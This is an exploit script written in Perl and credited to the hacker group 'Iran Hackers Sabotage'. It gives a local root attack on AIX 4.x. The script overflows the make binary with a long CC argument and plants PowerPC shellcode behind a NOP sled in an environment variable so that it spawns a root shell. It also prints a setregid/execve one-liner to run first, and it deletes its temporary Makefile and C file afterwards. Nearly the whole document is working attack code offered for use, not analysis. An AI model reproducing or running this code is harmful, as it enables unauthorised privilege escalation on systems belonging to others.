Local root exploit for Aix 4.x

[iM4n]

کاری از گروه Iran Hackers Sabotage

   #!/usr/bin/perl
#
# Perl version cuse if u dont have execute access use perl :)
#
# IHS IRAN HACKERS SABOTAGE
# xchange this xploit to get euid=0
# edited by LorD from orginal code by watercloud IHS IRAN HACKERS SABOTAGE
# gr33tz to my love Mina
# speical tnx to NT c0d3r and all of iraneman Staff:)
# www.ihsteam.com www.ihssecurity.com IRC.IHSteam.com #IHS

$CMD="/usr/local/bin/make";
$_=`/usr/bin/oslevel`;

$XID="\x03";
@GID_LIST=(248,247);

print "--== IHS IRAN HACKERS SABOTAGE ==--\n\n";
print "--== Local root exploit (make) for Aix 4.x to get euid=0 shell ==--\n\n";
print "--== From: www.ihsteam.com ==--\n\n";
print "--== sh3ll c0d3 just for PwoerPC !!! no IBM S/390 ==--\n\n";
print "first set egid=0 then run this xpl:\n";
print "for get egid=0 /usr/bin/syscall setregid 0 0 \\; execve '/bin/sh'\n";

$str="ihs:ihs.c\n\t\${CC} ihs.c\n\t";
open  mfd,">Makefile" or die "open file Makefile for write error!\n";
open  kfd,">ihs.c"     or die "open file .ihs.c for write error!\n";
print mfd $str,  print kfd $str;
close mfd, close kfd;

$NOP="\x7c\xa5\x2a\x79"x800;
%ENV=();

foreach $GID ( @GID_LIST) {
  $ENV{CCC}=$NOP.&getshell($XID,chr($GID));
  system $CMD ,"CC="."\x2f\xf2\x2b\x40"x300;
}

unlink "Makefile","ihs.c";

#sub
sub getshell($XID,$GID) {
  my $SHELL,($XID,$GID)=@_;
  $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
  $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
  $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
  $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
  $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
  $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
  $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
  return $SHELL;
}
#EOF